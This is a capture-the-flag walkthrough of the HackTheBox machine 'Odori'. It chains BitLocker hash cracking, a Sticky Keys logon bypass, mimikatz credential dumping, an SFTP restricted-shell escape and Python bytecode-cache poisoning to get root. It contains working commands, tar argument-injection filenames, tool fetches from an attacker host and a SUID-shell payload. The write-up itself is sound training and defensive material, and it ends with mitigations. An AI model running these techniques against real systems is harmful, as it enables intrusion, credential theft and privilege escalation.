# HackTheBox: Odori  Writeup

## Summary

Odori ships as an offline forensics box: the only live services are SSH and Samba, and an anonymously readable `backup` share just points to a BitLocker-encrypted VMDK handed out with the machine. Cracking the BitLocker password with `bitlocker2john` and rockyou unlocks the disk, but getting a usable account still means booting the VM into WinRE and swapping `sethc.exe` for `cmd.exe` to get a SYSTEM shell past the Windows logon with neither account's password known. From there, `mimikatz` dumps NTLM hashes (a dead end against the Linux box's Samba) and then pulls a cleartext scheduled-task password for `svc_backup` out of Credential Manager. That account can only SFTP into the Linux target - `ForceCommand` blocks an interactive shell - but `/opt/restrict` and `svc_backup`'s `.ssh` directory are both writable over SFTP, so overwriting the forced-command script gets a real `bash -i`. User flag comes off before the shell escape. Root is a root cron job running `/opt/archiver/app.py` every minute: a tar-argument-injection attempt against writable `/backup` fails because each file gets its own `tar` invocation, but `/opt/archiver/__pycache__/helper.cpython-310.pyc` is writable by `svc_backup`, so forging a `.pyc` with a matching `(mtime, size)` header and module-level payload code gets arbitrary code executed as root on the next cron tick, dropping a SUID root bash.

## Table of Contents

1.  [Reconnaissance](#1-reconnaissance)
    
2.  [Offline Disk Analysis](#2-offline-disk-analysis)
    
3.  [Decrypting BitLocker and Booting the VM](#3-decrypting-bitlocker-and-booting-the-vm)
    
4.  [Credential Dumping (Windows)](#4-credential-dumping-windows)
    
5.  [Gaining a Shell (Linux)](#5-gaining-a-shell-linux)
    
6.  [User Flag](#6-user-flag)
    
7.  [Privilege Escalation](#7-privilege-escalation)
    
8.  [Root Flag](#8-root-flag)
    
9.  [Attack Chain Summary](#9-attack-chain-summary)
    
10.  [Mitigations](#10-mitigations)
     
11.  [References](#11-references)
     

* * *

## 1\. Reconnaissance

### 1.1 Nmap

```bash
nmap -A -Pn <machine-ip> -oN nmap-full.txt

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 33:6a:5a:1f:35:95:4f:47:78:f4:5e:81:1b:ac:0e:af (ECDSA)
|_  256 62:a0:e7:ec:de:21:8d:83:cd:72:cc:7b:fa:9f:7f:15 (ED25519)
139/tcp open  netbios-ssn Samba smbd 4
445/tcp open  netbios-ssn Samba smbd 4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-time:
|   date: 2026-10-17T14:09:51
|_  start_date: N/A
|_nbstat: NetBIOS name: ODORI, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
|_clock-skew: 1d00h08m40s
```

Three open ports: 22 (OpenSSH), 139 and 445 (Samba). No web surface at all, so the SMB shares become the obvious next step.

### 1.2 SMB Enumeration

Checked for null/guest SMB access before anything else:

```bash
nxc smb <machine-ip> -u '' -p ''
SMB   <machine-ip>   445   ODORI   [*] Unix - Samba (name:ODORI) (domain:ODORI) (signing:False) (SMBv1:None) (Null Auth:True)
SMB   <machine-ip>   445   ODORI   [+] ODORI\:
```

Null auth works, so shares can be enumerated anonymously:

```bash
nxc smb <machine-ip> -u '' -p '' --shares
SMB   <machine-ip>   445   ODORI   Share           Permissions     Remark
SMB   <machine-ip>   445   ODORI   -----           -----------     ------
SMB   <machine-ip>   445   ODORI   print$                          Printer Drivers
SMB   <machine-ip>   445   ODORI   backup          READ            Server Backups
SMB   <machine-ip>   445   ODORI   IPC$                            IPC Service (odori server (Samba, Ubuntu))
```

`backup` is world-readable:

```bash
smbclient //<machine-ip>/backup -N
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jun 25 18:49:15 2025
  ..                                  D        0  Fri Apr 24 17:29:37 2026
  info.txt                            N       66  Wed Jun 25 18:48:44 2025

                7533016 blocks of size 1024. 2864352 blocks available
smb: \> get info.txt
getting file \info.txt of size 66 as info.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
```

```bash
cat info.txt
Please download the .vmdk file linked in the machine description.
```

A single hint file pointing away from the live target entirely - the actual entry point is an offline forensics exercise against a provided disk image, not a live network service.

* * *

## 2\. Offline Disk Analysis

The provided download is a large 7z archive (~19 GiB) containing a single `.vmdk`.

```bash
7z e odori.7z
7-Zip 26.01 (x64) : Copyright (c) 1999-2026 Igor Pavlov : 2026-04-27
Scanning the drive for archives:
1 file, 19795590292 bytes (19 GiB)
Extracting archive: odori.7z
Enter password (will not be echoed):
--
Everything is Ok

file file02.vmdk
file02.vmdk: VMware4 disk image
```

### 2.1 Sanity-checking the disk image

Worth validating before spending time analyzing a 19 GiB file that might just be corrupted:

```bash
qemu-img info file02.vmdk
image: file02.vmdk
file format: vmdk
virtual size: 20 GiB (21474836480 bytes)
disk size: 18.7 GiB
cluster_size: 65536
Format specific information:
    cid: 3024510711
    parent cid: 4294967295
    create type: monolithicSparse

qemu-img check file02.vmdk
No errors were found on the image.
```

*   `monolithicSparse` - single-file VMDK, no split extents to track down.
    
*   `parent cid: 4294967295` (0xFFFFFFFF) - no parent/base disk. Standalone image, not a snapshot delta waiting on a missing base.
    
*   Virtual size 20 GiB vs. 18.7 GiB on disk - consistent with what was extracted.
    

```bash
sha256sum file02.vmdk
e7b487e41937da6b6a5875867cf92a2c4f90bbcc32f61795c019e35f2db8a631  file02.vmdk
```

### 2.2 Identifying the OS and filesystem layout

```bash
virt-filesystems --long -h --all -a file02.vmdk
Name       Type        VFS   Label  MBR  Size  Parent
/dev/sda1  filesystem  vfat  -      -    96M   -
/dev/sda4  filesystem  ntfs  -      -    524M  -
/dev/sda1  partition   -     -      -    100M  /dev/sda
/dev/sda2  partition   -     -      -    16M   /dev/sda
/dev/sda3  partition   -     -      -    19G   /dev/sda
/dev/sda4  partition   -     -      -    524M  /dev/sda
/dev/sda   device      -     -      -    20G   -
```

```bash
virt-ls -a file02.vmdk -m /dev/sda1 -R /
EFI
EFI/Boot/bootx64.efi
EFI/Microsoft/Boot/...
System Volume Information
```

EFI System Partition plus a Microsoft Boot Manager layout - this confirms a Windows guest. The large 19 GB `/dev/sda3` partition (unidentified filesystem type to `virt-filesystems`) is the OS volume, and turns out to be BitLocker-encrypted.

* * *

## 3\. Decrypting BitLocker and Booting the VM

### 3.1 Building the analysis VM

VMware Workstation, custom build pointed directly at the extracted VMDK:

1.  `File -> New Virtual Machine` -> **Custom (advanced)**
    
2.  Hardware compatibility: default
    
3.  Guest OS install: **"I will install the operating system later"**
    
4.  Guest OS: Windows 10/11 x64 (closest match to the modern EFI bootloader seen earlier; refine later if it turns out to be Server)
    
5.  Name/location: anywhere with enough free space for VM config files (the VMDK stays referenced in place)
    
6.  CPU/memory: defaults
    
7.  **Network Type: Host-only** - set this now, before first boot, to keep the box isolated
    
8.  I/O controller / disk type: defaults
    
9.  **Select a Disk -> Use an existing virtual disk** -> browse to `file02-working.vmdk` (work on a copy, never the original). Accept any "needs to be converted" prompt only if required.
    
10.  Finish
     
11.  Before powering on: confirm Network Adapter is Host-only, and Hard Disk points at the working copy.
     
12.  Power on -> if prompted "did you copy or move this VM," choose **I copied it**.
     

![Image description](https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/jgm05zwcinwk5tnyzy70.jpeg align="center")

Powering on this VM is where the BitLocker protection first became visible - the boot immediately stops at a password prompt instead of reaching a Windows logon screen.

### 3.2 Cracking the BitLocker hash

`john` ships a native BitLocker hash extractor, run back on the host against the original VMDK:

```bash
bitlocker2john -i file02.vmdk > vm-hash
```

```bash
cat vm-hash
Encrypted device file02.vmdk opened, size 19122MB
...
$bitlocker$0$16$b303ee2dfde14680034ffeeb510b5d65$1048576$12$e0ff381f1d64db010c000000$60$...
Hash type: User Password with MAC verification (slower solution, no false positives)
$bitlocker$1$...  Hash type: Recovery Password fast attack
$bitlocker$2$...  Hash type: Recovery Password with MAC verification (slower solution, no false positives)
$bitlocker$3$...  Hash type: Recovery Password with MAC verification (slower solution, no false positives)
```

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt vm-hash
Note: This format may emit false positives, so it will keep trying even after finding a possible candidate.
Loaded 2 password hashes with 2 different salts (BitLocker, BitLocker [SHA-256 AES 32/64])
123456789        (?)
123456789        (?)
```

BitLocker password cracked: `123456789`. Entering this at the VM's BitLocker prompt unlocks the volume and lets the boot continue - but it still doesn't give us a Windows account (`Administrator` / `svc_backup`) to log in as, since we still don't know either account's Windows password. For that, a privilege escalation path is needed once inside the guest.

### 3.3 Bypassing the Windows logon with a recovery environment

To get a SYSTEM-level shell without knowing either account's Windows password, boot into WinRE from an installation ISO and patch Sticky Keys.

**Attach the ISO** (VM powered off): *Settings -> CD/DVD (SATA) -> Use ISO Image file* -> browse to a Windows installation ISO -> check *Connect at power on*.

**Boot to firmware and select the CD-ROM**: *Power On -> Power On to Firmware* -> Boot Manager -> select `EFI VMware Virtual SATA CDROM Drive (1.0)`.

![Image description](https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/v9je2w82lor1t5vr39xy.jpeg align="center")

The ISO's Windows Setup loads. Pick language/keyboard defaults and click Next:

![Image description](https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/04j6hoyxsfobvzt4vpu5.jpeg align="center")

On the install screen, don't click Install now - use the recovery link in the bottom-left instead:

![Image description](https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/bam20cwxchqk9pjjs76f.jpeg align="center")

This drops into WinRE. Click **Troubleshoot**:

![Image description](https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/bt74uzkbx27jzw7xf56i.jpeg align="center")

Then **Command Prompt**:

![Image description](https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/ftd33q86o1xry61q0wzv.jpeg align="center")

**Identify and unlock the BitLocker volume from the recovery shell:**

```PowerShell
X:\Sources>diskpart

DISKPART> list volume

  Volume ###  Ltr  Label        Fs     Type        Size     Status     Info
  ----------  ---  -----------  -----  ----------  -------  ---------  --------
  Volume 0     D   ESD-ISO      UDF    DVD-ROM     4667 MB  Healthy
  Volume 1         Unkno        Partition     19 GB  Healthy
  Volume 2         FAT32        Partition    100 MB  Healthy    Hidden
  Volume 3         NTFS         Partition    524 MB  Healthy    Hidden

DISKPART> select volume 1
DISKPART> assign letter=E
DISKPART> exit
```

Volume 1 (the 19 GB target) reads as `Unkno` filesystem until unlocked - a BitLocker-locked NTFS volume shows as unrecognized to tools that can't decrypt it on the fly.

![Image description](https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/48x39oenbxt8dt71xrza.png align="center")

```PowerShell
X:\Sources>manage-bde -unlock E: -pw
Enter the password to unlock this volume: [BitLocker password]
The password successfully unlocked volume E:.

X:\Sources>dir E:
01/11/2025  05:23 AM    <DIR>          Config
01/11/2025  05:33 AM    <DIR>          Data
01/11/2025  05:32 AM    <DIR>          Program Files
01/11/2025  05:29 AM    <DIR>          Scripts
01/08/2025  09:05 AM    <DIR>          Users
10/16/2026  08:30 PM    <DIR>          Windows
```

![Image description](https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/x67fhbl3hkt4vurppaq9.png align="center")

**Swap** `sethc.exe` **for** `cmd.exe` - the classic Sticky Keys privesc:

```PowerShell
X:\Sources>copy E:\Windows\System32\sethc.exe E:\Windows\System32\sethc.exe.bak
        1 file(s) copied.

X:\Sources>copy E:\Windows\System32\cmd.exe E:\Windows\System32\sethc.exe
Overwrite E:\Windows\System32\sethc.exe? (Yes/No/All): Y
        1 file(s) copied.
```

Disconnect the ISO and reboot into the normal Windows logon screen. Pressing **Shift x5** at the logon screen now launches a SYSTEM-privileged `cmd.exe` in place of the Sticky Keys dialog - full SYSTEM access with neither account's Windows password:

From this SYSTEM prompt, the Administrator password can simply be reset:

```PowerShell
net user Administrator Password123
```

* * *

## 4\. Credential Dumping (Windows)

### 4.1 Local hashes via mimikatz

```PowerShell
C:\Temp>.\mimikatz.exe

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # token::elevate
 -> Impersonated !
 * Thread Token  : {0;000003e7} NT AUTHORITY\SYSTEM

mimikatz # lsadump::sam
```

Recovered NTLM hashes:

```plaintext
Administrator:58a478135a93ac3bf058a5ea0e8fdb71
svc_backup:be3071bd4cce75e2bbd3c79c7ec5380e
WDAGUtilityAccount:63d7c1f6a1a8378eba2ee87246bf7140
```

Pass-the-hash against the Linux target's Samba service only authenticates as Guest - Samba doesn't trust these as domain creds for anything useful here:

```bash
nxc smb <machine-ip> -u svc_backup -H be3071bd4cce75e2bbd3c79c7ec5380e
SMB   <machine-ip>   445   ODORI   [+] ODORI\svc_backup:be3071bd4cce75e2bbd3c79c7ec5380e (Guest)

nxc smb <machine-ip> -u Administrator -H 58a478135a93ac3bf058a5ea0e8fdb71
SMB   <machine-ip>   445   ODORI   [+] ODORI\Administrator:58a478135a93ac3bf058a5ea0e8fdb71 (Guest)
```

So the NTLM hashes aren't the way in - the real credential is elsewhere on disk.

### 4.2 Finding a cleartext password in Credential Manager

`C:\Scripts\backup.ps1` references `svc_backup` connecting to `odori.vl` via SFTP, with the password redacted in the script itself (shown only as `***`). Since the script runs as a **scheduled task**, Windows has to store the running account's password somewhere to authenticate non-interactively at run time - Credential Manager's Windows Credentials vault is the usual place for this.

```PowerShell
mimikatz # vault::list

Vault : {77bc582b-f0a6-4e15-4e80-61736b6f3b29}
        Name       : Windows Credentials
        Items (1)
          0.    (null)
                Ressource       : [STRING] Domain:batch=TaskScheduler:Task:{EB952370-3B64-45F3-814D-6F47F413A8D8}
                Identity        : [STRING] FILE02\svc_backup
                *** Domain Password ***
```

`vault::list` shows the entry exists but doesn't reveal the password itself - `vault::cred /patch` decrypts and dumps it:

```PowerShell
mimikatz # vault::cred /patch
TargetName : Domain:batch=TaskScheduler:Task:{EB952370-3B64-45F3-814D-6F47F413A8D8} / <NULL>
UserName   : FILE02\svc_backup
Type       : 2 - domain_password
Credential : Napping2Curator
```

**Recovered credential:** `svc_backup` **/** `Napping2Curator`

* * *

## 5\. Gaining a Shell (Linux)

### 5.1 SSH authenticates but hangs

```bash
ssh svc_backup@<machine-ip> -v
...
debug1: Next authentication method: password
svc_backup@<machine-ip>'s password:
Authenticated to <machine-ip> ([<machine-ip>]:22) using "password".
debug1: Entering interactive session.
debug1: pledge: fork
```

Authentication succeeds, but the session never produces a shell prompt - it just hangs. This pointed at a server-side restriction rather than a credential problem, so the obvious workaround is to try a different SSH subsystem: SFTP (also over port 22) is mentioned in the backup script, so test that first.

### 5.2 SFTP works

```bash
sftp svc_backup@<machine-ip>
svc_backup@<machine-ip>'s password:
Connected to <machine-ip>.
sftp> ls -la
drwxr-x---    5 svc_backup svc_backup     4096 Apr  6  2026 .
drwxr-xr-x    4 root     root         4096 Jan 11  2025 ..
lrwxrwxrwx    1 root     root            9 Apr  6  2026 .bash_history
-rw-r--r--    1 svc_backup svc_backup      220 Jan 11  2025 .bash_logout
-rw-r--r--    1 svc_backup svc_backup     3771 Jan 11  2025 .bashrc
drwx------    2 svc_backup svc_backup     4096 Jan 11  2025 .cache
drwxrwxr-x    3 svc_backup svc_backup     4096 Jan 15  2025 .local
-rw-r--r--    1 svc_backup svc_backup      807 Jan 11  2025 .profile
drwxr-xr-x    2 svc_backup svc_backup     4096 Jan 11  2025 .ssh
-rw-r-----    1 root     svc_backup       33 Oct 18 02:59 user.txt
```

### 5.3 Diagnosing the restricted shell

Pulled the SSH server config to understand why the interactive session hangs:

```bash
sftp> get /etc/ssh/sshd_config
```

```bash
cat sshd_config
...
Match group svc_backup
        #ChrootDirectory /backup
        ForceCommand /opt/restrict /home/%u
        AllowTcpForwarding no
```

`svc_backup` falls under this `Match group` block, and `ForceCommand` overrides whatever command the client requests - that's why the interactive shell never materializes. The forced command itself:

```bash
sftp> get /opt/restrict
```

```bash
cat restrict
#!/bin/bash

/usr/lib/openssh/sftp-server -d $1
```

It just re-execs the SFTP server, which is why SFTP worked but an interactive shell didn't - the account is wired to only ever get SFTP.

### 5.4 Escaping the restricted shell

Two things make the bypass possible:

1.  `/opt/restrict` is group/other-writable (`-rwxrwxr-x`, owned by `svc_backup:root`) - the exact file SSH forces as the login command can be overwritten.
    
2.  `svc_backup`'s own `.ssh` directory is writable over SFTP, so a public key can be dropped in for key-based auth.
    

**Add our public key:**

```bash
cat ~/.ssh/id_ed25519.pub >> authorized_keys
# on sftp
put authorized_keys /home/svc_backup/authorized_keys
```

**Replace the forced command with a real shell:**

```bash
cat > restrict_new << 'EOF'
#!/bin/bash
/bin/bash -i
EOF
chmod +x restrict_new
```

```bash
# on sftp
put restrict_new /opt/restrict
```

**Connect with an interactive shell:**

```bash
ssh -i ~/.ssh/id_ed25519 svc_backup@<machine-ip>
svc_backup@odori:~$ whoami
svc_backup
svc_backup@odori:~$ id
uid=1001(svc_backup) gid=1001(svc_backup) groups=1001(svc_backup)
```

```bash
svc_backup@odori:~$ sudo -l
[sudo] password for svc_backup:
Sorry, user svc_backup may not run sudo on odori.
```

No sudo rights - privilege escalation has to come from somewhere else on the box.

* * *

## 6\. User Flag

Grabbed via SFTP, before the shell escape above:

```bash
sftp> get user.txt
Fetching /home/svc_backup/user.txt to user.txt
user.txt                                                                    100%   33     0.0KB/s   00:00
```

```bash
cat user.txt
REDACTED
```

* * *

## 7\. Privilege Escalation

### 7.1 Enumeration

```bash
svc_backup@odori:~$ find / -perm -4000 2>/dev/null
...
-rwsr-xr-x 1 root root 31K Apr 10 2026 /usr/bin/pkexec  --->  Linux4.10_to_5.1.17(CVE-2019-13272)/rhel_6(CVE-2011-1485)/Generic_CVE-2021-4034
```

All SUID binaries are patched against their known CVEs - nothing usable there. Crontabs and timers visible to the user showed nothing either, so the next step was to pull `linpeas.sh` and `pspy64` to look for privileged activity invisible from a normal user's view (cron jobs running as root in particular don't show up in a user's own `crontab -l`).

```bash
svc_backup@odori:~$ wget http://<attacker-ip>/linpeas.sh
svc_backup@odori:~$ wget http://<attacker-ip>/pspy64 && chmod +x pspy64 && ./pspy64
```

`pspy64` caught a root-owned process firing every minute:

```plaintext
2026/10/18 07:37:01 CMD: UID=0 PID=67651 | python3 /opt/archiver/app.py
2026/10/18 07:37:01 CMD: UID=0 PID=67650 | /bin/sh -c python3 /opt/archiver/app.py
```

### 7.2 The archiver script

`/opt/archiver` - already noted earlier over SFTP but not yet connected to a cron job:

```bash
svc_backup@odori:~$ ls -la /opt/archiver/
total 20
drwxr-xr-x 3 root root 4096 Apr 24 11:59 .
drwxr-xr-x 3 root root 4096 Apr 24 11:59 ..
-rw-r--r-- 1 root root  812 Jan 11  2025 app.py
-rw-r--r-- 1 root root  412 Jan 16  2025 helper.py
drwxr-xrwx 2 root root 4096 Oct 18 08:10 __pycache__
```

```python
# app.py
import os
from datetime import datetime, timedelta
from helper import tar_and_move_files

backup_dir = '/backup'
archive_dir = '/archive'
threshold_date = datetime.now() - timedelta(days=3*365)

def scan_and_archive_files():
    if not os.path.exists(archive_dir):
        os.makedirs(archive_dir)
    for root, dirs, files in os.walk(backup_dir):
        for file in files:
            file_path = os.path.join(root, file)
            file_mod_time = datetime.fromtimestamp(os.path.getmtime(file_path))
            if file_mod_time < threshold_date:
                print(f'Moving {file_path} to archive...')
                tar_and_move_files(file_path, archive_dir)
            else:
                print(f'{file_path} is not old enough to archive.')

if __name__ == '__main__':
    scan_and_archive_files()
```

```python
# helper.py
import os
import subprocess
from datetime import datetime

def tar_and_move_files(file_path, archive_dir):
    current_date = datetime.now().strftime('%Y-%m-%d')
    tar_filename = os.path.join(archive_dir, f'{current_date}_{os.path.basename(file_path)}.tar.gz')
    subprocess.Popen(["/usr/bin/tar", "-czf", tar_filename, "-C", os.path.dirname(file_path), os.path.basename(file_path)])
    os.remove(file_path)
```

Two separate weaknesses jump out:

| # | Weakness | Where |
| --- | --- | --- |
| 1 | `tar` is invoked with a filename taken straight from `/backup`, with no sanitization | `helper.py` -> `tar_and_move_files()` |
| 2 | `__pycache__` is world-writable (`drwxr-xrwx`), and the cached bytecode file inside it is owned by `svc_backup` | `/opt/archiver/__pycache__/` |

`/backup` itself is also writable by `svc_backup` (confirmed via linpeas and by the earlier SMB `backup` share), so both paths are reachable.

### 7.3 Attempt 1: tar argument injection (failed)

The idea: drop a filename in `/backup`, aged past the 3-year threshold, crafted so `tar` parses it as an **option** instead of a filename - classic GTFOBins-style tar argument injection.

```bash
cd /backup
touch -d "4 years ago" -- "--checkpoint=1"
touch -d "4 years ago" -- "--checkpoint-action=exec=sh shell.sh"
```

This doesn't work here. `app.py` calls `tar_and_move_files()` **once per file** found by `os.walk()`, and each call spawns its **own separate** `tar` process with a single filename argument:

```python
subprocess.Popen(["/usr/bin/tar", "-czf", tar_filename, "-C", dirname, basename])
```

So `--checkpoint=1` and `--checkpoint-action=...` land in two unrelated `tar` invocations, never together on the same command line. `--checkpoint` alone is harmless (just prints progress), so nothing fires. Confirmed manually:

```bash
/usr/bin/tar -czf /tmp/test1.tar.gz -C /home/svc_backup -- "--checkpoint=1"
# exit code: 0, archive created normally - no injection possible this way
```

A single self-contained option like `--use-compress-program=/path/to/script` would work in principle, since it needs no pairing with a second argument - but the `__pycache__` write primitive below was already confirmed and is more deterministic, so that became the actual exploitation path.

### 7.4 Attempt 2: `__pycache__` bytecode poisoning (successful)

Python's import system trusts a cached `.pyc` file over recompiling its matching `.py` source whenever the `.pyc`'s embedded header - specifically the source file's `(mtime, size)` - matches the real source file on disk. There's no cryptographic integrity check on cached bytecode. Since `helper.cpython-310.pyc` was owned by and writable by `svc_backup`, a forged `.pyc` with a header matching the real `helper.py` would be loaded and executed as-is by root's cron job, without the actual `helper.py` source ever being touched.

(See [Section 10 - References](#10-references) for background on this technique.)

**Step 1 - capture the real source file's mtime/size**, needed so the forged header validates:

```bash
REAL_MTIME=$(stat -c '%Y' /opt/archiver/helper.py)
REAL_SIZE=$(stat -c '%s' /opt/archiver/helper.py)
```

**Step 2 - write a malicious** `helper.py`**.** The payload has to sit at **module scope**, not inside `tar_and_move_files()` - the function body only runs if `app.py` actually calls it, which requires a qualifying file in `/backup`. Module-level code runs unconditionally the instant the module is imported, which happens on every single cron tick regardless of `/backup`'s contents:

```python
import os, subprocess
from datetime import datetime

try:
    os.system("cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash")
except Exception:
    pass

def tar_and_move_files(file_path, archive_dir):
    current_date = datetime.now().strftime('%Y-%m-%d')
    tar_filename = os.path.join(archive_dir, f'{current_date}_{os.path.basename(file_path)}.tar.gz')
    subprocess.Popen(["/usr/bin/tar", "-czf", tar_filename, "-C", os.path.dirname(file_path), os.path.basename(file_path)])
    os.remove(file_path)
```

> An earlier attempt placed the `os.system(...)` call inside the function body and produced no result - it silently waited on a qualifying `/backup` file that never arrived. Moving it to module scope fixed this.

**Step 3 - compile, then patch the header's size field.** `py_compile` stamps the local file's own mtime/size by default; the mtime is made correct up front by touching the source file, but the size still has to be patched manually to match the real `helper.py` on the target:

```bash
touch -d @$REAL_MTIME helper.py
python3 -m py_compile helper.py

python3 - << EOF
import struct
pyc_path = "__pycache__/helper.cpython-310.pyc"
with open(pyc_path, "r+b") as f:
    data = bytearray(f.read())
    struct.pack_into("<I", data, 12, $REAL_SIZE & 0xFFFFFFFF)
    f.seek(0)
    f.write(data)
EOF
```

**Step 4 - drop it into the real cache directory and wait for the next cron tick:**

```bash
cp __pycache__/helper.cpython-310.pyc /opt/archiver/__pycache__/helper.cpython-310.pyc
watch -n 5 'ls -la /tmp/rootbash 2>/dev/null'
```

Within 60 seconds:

```bash
svc_backup@odori:/tmp/poison$ ls -la /tmp/rootbash
-rwsr-xr-x 1 root root 1396520 Oct 18 09:42 /tmp/rootbash
svc_backup@odori:/tmp/poison$ /tmp/rootbash -p
rootbash-5.1# id
uid=1001(svc_backup) gid=1001(svc_backup) euid=0(root) groups=1001(svc_backup)
```

### 7.5 Automating the exploit

A general-purpose version of steps 2-4 above is included in this repo as [`pycache_poison.py`](pycache_poison.py). It builds the malicious module, compiles it, patches the header to match an arbitrary real source file, and writes the result to a target `__pycache__` path in one shot:

```bash
python3 pycache_poison.py \
  --source /opt/archiver/helper.py \
  --target-pyc /opt/archiver/__pycache__/helper.cpython-310.pyc \
  --payload "os.system('cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash')" \
  --keep-func tar_and_move_files
```

`--keep-func` regenerates a harmless no-op stub for any function the privileged script imports from the module (here, `tar_and_move_files`), so `app.py` keeps running cleanly while the payload fires unconditionally on import.

* * *

## 8\. Root Flag

```bash
rootbash-5.1# cd /root
rootbash-5.1# ls
root.txt  snap
rootbash-5.1# cat root.txt
REDACTED
```

* * *

## 9\. Attack Chain Summary

```plaintext
Odori
│
├─ Recon
│   ├─ Nmap: SSH (22), Samba (139/445) only - no web surface
│   ├─ SMB null session -> anonymous access to `backup` share
│   └─ info.txt -> hint: "download the .vmdk file"
│
├─ Offline Disk Analysis
│   ├─ Extract 7z -> file02.vmdk (19 GiB)
│   ├─ qemu-img info/check -> valid, standalone, monolithicSparse
│   └─ virt-filesystems / virt-ls -> Windows (EFI + MS Boot Manager), sda3 = BitLocker volume
│
├─ BitLocker Bypass
│   ├─ bitlocker2john -> hash extracted
│   └─ john + rockyou -> password cracked: 123456789
│
├─ Windows Access (SYSTEM)
│   ├─ Boot VM in VMware (host-only network) -> BitLocker unlock works, but no Windows creds
│   ├─ Boot to firmware -> installation ISO -> WinRE -> Command Prompt
│   ├─ diskpart -> unlock volume with manage-bde -unlock
│   ├─ Swap sethc.exe <-> cmd.exe (Sticky Keys)
│   └─ Reboot -> Shift x5 at logon -> SYSTEM cmd.exe
│
├─ Credential Access
│   ├─ mimikatz lsadump::sam -> NTLM hashes (Administrator, svc_backup)
│   │   └─ Pass-the-hash vs Samba -> Guest only (dead end)
│   └─ mimikatz vault::cred /patch -> cleartext scheduled-task password
│       └─ svc_backup : Napping2Curator
│
├─ Linux Shell Access
│   ├─ ssh svc_backup -> authenticates but hangs (ForceCommand)
│   ├─ sftp svc_backup -> works; sshd_config confirms Match group + ForceCommand /opt/restrict
│   ├─ Weaknesses: /opt/restrict writable, .ssh writable over SFTP
│   ├─ Upload SSH pubkey + overwrite /opt/restrict with `/bin/bash -i`
│   └─ ssh -i key svc_backup -> interactive shell (no sudo rights)
│
├─ User Flag
│   └─ Read via SFTP before the shell escape
│
├─ Privilege Escalation
│   ├─ Enumeration
│   │   ├─ SUID binaries all patched (pkexec etc.) - dead end
│   │   └─ pspy64 -> root cron: python3 /opt/archiver/app.py (every minute)
│   │
│   ├─ Attempt 1: tar argument injection - FAILED
│   │   └─ One tar process per file -> injected flags never land together
│   │
│   └─ Attempt 2: __pycache__ bytecode poisoning - SUCCESS
│       ├─ helper.cpython-310.pyc writable by svc_backup
│       ├─ Forge .pyc: module-level payload + header (mtime, size) matching real helper.py
│       ├─ Drop into /opt/archiver/__pycache__/
│       └─ Next cron tick -> payload runs as root -> SUID /tmp/rootbash
│
└─ Root Flag
    └─ /tmp/rootbash -p -> root shell -> cat /root/root.txt
```

* * *

## 10\. Mitigations

| Weakness | Fix |
| --- | --- |
| BitLocker protected by a weak, rockyou-crackable password (`123456789`) | Enforce a strong passphrase or TPM-backed key policy; don't rely on a user password alone for at-rest encryption |
| Local Administrator/recovery access obtainable via WinRE + Sticky Keys binary swap | Disable boot-to-WinRE/external-media recovery where not needed, or enforce BitLocker pre-boot authentication so the OS volume can't be mounted from an offline recovery shell at all; Secure Boot + a signed boot chain also blocks the `sethc.exe` swap |
| Cleartext scheduled-task password recoverable from Credential Manager via `vault::cred /patch` | Avoid storing passwords for scheduled/service accounts in the Windows Credentials vault; use a gMSA, a Windows service account with no interactive logon, or a secrets manager instead |
| SMB `backup` share readable via anonymous/null session | Disable SMB null sessions / guest access; require authentication on every share, even "informational" ones |
| `ForceCommand /opt/restrict` relied on for shell restriction, but the script itself and `.ssh` are writable by the restricted account | Restricted shells must not be writable by the account they restrict; ship them root-owned and read-only (0755 root:root), and lock down `~/.ssh` similarly or disable key-based auth for that account entirely |
| `/opt/archiver/__pycache__` world-writable, with a `.pyc` owned by the low-privileged service account | Never let an unprivileged account own or write into a privileged process's `__pycache__`; run `python3 -B` (or set `PYTHONDONTWRITEBYTECODE=1`) for privileged scripts, or ship pre-compiled bytecode owned by root with a root-only cache directory |
| `app.py`/`helper.py` run unsanitized filenames from a world-writable `/backup` directly into `tar` | Don't pass user-controlled filenames straight into `tar`'s argument list; use `tar --` with validated/sanitized names, or call `tarfile` from Python instead of shelling out |
| Root cron job runs code out of a directory (`/opt/archiver`) with any component writable by a non-root account | Principle of least privilege for cron/scheduled jobs: the entire execution path (script, imports, cache, working directory) should be root-owned and non-writable by the account that triggers or feeds it data |

* * *

## 11\. References

*   [Python Cache Poisoning - PrivEsc - Linux (Hardsoft Security)](https://hardsoftsecurity.es/index.php/2026/01/19/python-cache-poisoning-privesc-linux/) - background and manual exploitation steps for the `__pycache__` bytecode-poisoning technique used in Section 7.4
    
*   [`pycache_poison.py`](pycache_poison.py) - this repo's reusable script automating the technique (Section 7.5)
